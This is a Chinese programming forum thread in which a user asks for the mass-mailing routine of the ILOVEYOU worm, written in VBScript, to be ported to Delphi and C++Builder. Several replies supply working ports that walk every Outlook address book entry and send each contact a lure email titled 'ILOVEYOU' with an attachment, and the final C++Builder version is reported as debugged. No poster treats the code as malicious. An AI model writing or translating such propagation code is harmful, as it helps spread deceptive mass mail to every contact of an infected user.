誰能幫我把這段程序翻譯成 Bcb 和delphi呢 delphi 调试通过,bcb 还没有 谁能帮一下呢 (200分)

  • 主题发起人 主题发起人 wyn
  • 开始时间 开始时间
W

wyn

Unregistered / Unconfirmed
GUEST, unregistred user!
Dim out, mapi, x, a, ctrlists, ctrentries, malead, male
Set out = CreateObject("Outlook.Application") '创建一个Outlook应用对象实例
Set mapi = out.GetNameSpace("MAPI") '访问现存的Outlook条目
For ctrlists = 1 To mapi.AddressLists.Count '遍历所有的地址簿
Set a = mapi.AddressLists(ctrlists) x = 1
For ctrentries = 1 To a.AddressEntries.Count '遍历地址簿中的地址条目
malead = a.AddressEntries(x)
Set male = out.CreateItem(0) '创建新的Outlook邮件
male.Recipients.Add (malead) '填写收件人
male.Subject = "ILOVEYOU" '填写主题
male.Body = "kindly check the attached LOVELETTER coming from me."
male.Attachments.Add ("c:/text.txt")
male.Send '发送邮件
x = x + 1
Next
Next
Set out = Nothing
Set mapi = Nothing
 
var Out,Mapi,A,Ctrentries,Malead,Male:OleVariant;
CtrLists:Integer;
begin
Out:=CreateOleObject('Outlook.Application');
Mapi:=Out.GetNameSpace('MAPI');
for ctrlists := 1 to Mapi.AddressLists.Count do
begin
a:= mapi.AddressLists(ctrlists);
for ctrentries := 1 To a.AddressEntries.Count do
begin
malead := a.AddressEntries(ctrentries);
male := out.CreateItem(0) ;
male.Recipients.Add (malead);
male.Subject: = 'ILOVEYOU';
//填写主题
male.Body := 'kindly check the attached LOVELETTER coming from me.';
male.Attachments.Add ('c:/text.txt');
male.Send;
//发送邮件
end;
end;

我这儿没有OUTLOOK,试不了。你试试,如果不对我再改。
 
const
olMailItem = 0;
var
Outlook,Mapi,A,Malead,Male:OleVariant;
vMailItem: variant;
x,Ctrentries,CtrLists:Integer;
begin
try
Outlook := GetActiveOleObject('Outlook.Application');
except
Outlook := CreateOleObject('Outlook.Application');
end;
mapi:= Outlook.GetNameSpace('MAPI');
for ctrlists := 1 to Mapi.AddressLists.Count do
begin
a:= mapi.AddressLists(ctrlists);
a.AddressEntries.Count;
x := 1;
for ctrentries := 1 to a.AddressEntries.Count do
begin
malead := a.AddressEntries(x);
male := Outlook.CreateItem(0) ;
male.Recipients.Add (malead);
male.Subject:= 'ILOVEYOU';
//填写主题
male.Body := 'kindly check the attached LOVELETTER coming from me.';
male.Attachments.Add ('c:/text.txt');
male.Send;
//发送邮件 x:=x+1;
end;

end;

VarClear(Outlook);

dlephi 调试通过,bcb 还没有 谁能帮一下呢
 
#include <utilcls.h>
#include <ComObj.hpp>
int olMailItem = 0;
Variant Outlook,Mapi,a,Malead,Male;
Variant vMailItem ;
int x,ctrentries,CtrLists;
Outlook = CreateOleObject("Outlook.Application");
Mapi=Outlook.OleFunction("GetNameSpace","MAPI");
for(CtrLists=1;CtrLists<=Mapi.OlePropertyGet("AddressLists").OlePropertyGet("Count");CtrLists++)
{
a= Mapi.OlePropertyGet("AddressLists",CtrLists);
for(ctrentries = 1;
ctrentries<=a.OlePropertyGet("AddressEntries").OlePropertyGet("Count") ;ctrentries++)
{
ShowMessage(a.OlePropertyGet("AddressEntries",ctrentries));
// malead := a.AddressEntries(ctrentries);
// male := Outlook.CreateItem(0) ;
// male.Recipients.Add (malead);
// male.Subject:= 'ILOVEYOU';
//填写主题
// male.Body := 'kindly check the attached LOVELETTER coming from me.';
// male.Attachments.Add ('c:/text.txt');
// male.Send;
//发送邮件 x:=x+1;
}
}
 
这里高手真多,ASP都能翻译成BCB?
厉害!
 
void __fastcall TForm1::Button1Click(TObject *Sender)
{
int olMailItem = 0;
Variant Outlook,Mapi,a,Malead,Male;
Variant vMailItem ;
int ctrentries,CtrLists;
Outlook = CreateOleObject("Outlook.Application");
Mapi=Outlook.OleFunction("GetNameSpace","MAPI");
for(CtrLists=1;CtrLists<=Mapi.OlePropertyGet("AddressLists").OlePropertyGet("Count");CtrLists++)
{
a= Mapi.OlePropertyGet("AddressLists",CtrLists);
for(ctrentries = 1;
ctrentries<=a.OlePropertyGet("AddressEntries").OlePropertyGet("Count") ;ctrentries++)
{
Malead=a.OlePropertyGet("AddressEntries",ctrentries);
Male = Outlook.OleFunction("CreateItem",0) ;
Male.OlePropertyGet("Recipients").OleFunction("Add",Malead);
Male.OlePropertySet("Subject","ILOVEYOU");
Male.OlePropertySet("Body","kindly check the attached LOVELETTER coming from me.");
Male.OlePropertyGet("Attachments").OleFunction("Add", "c://text.txt");
Male.OleFunction("Send");
}
}
}
调试通过
 
后退
顶部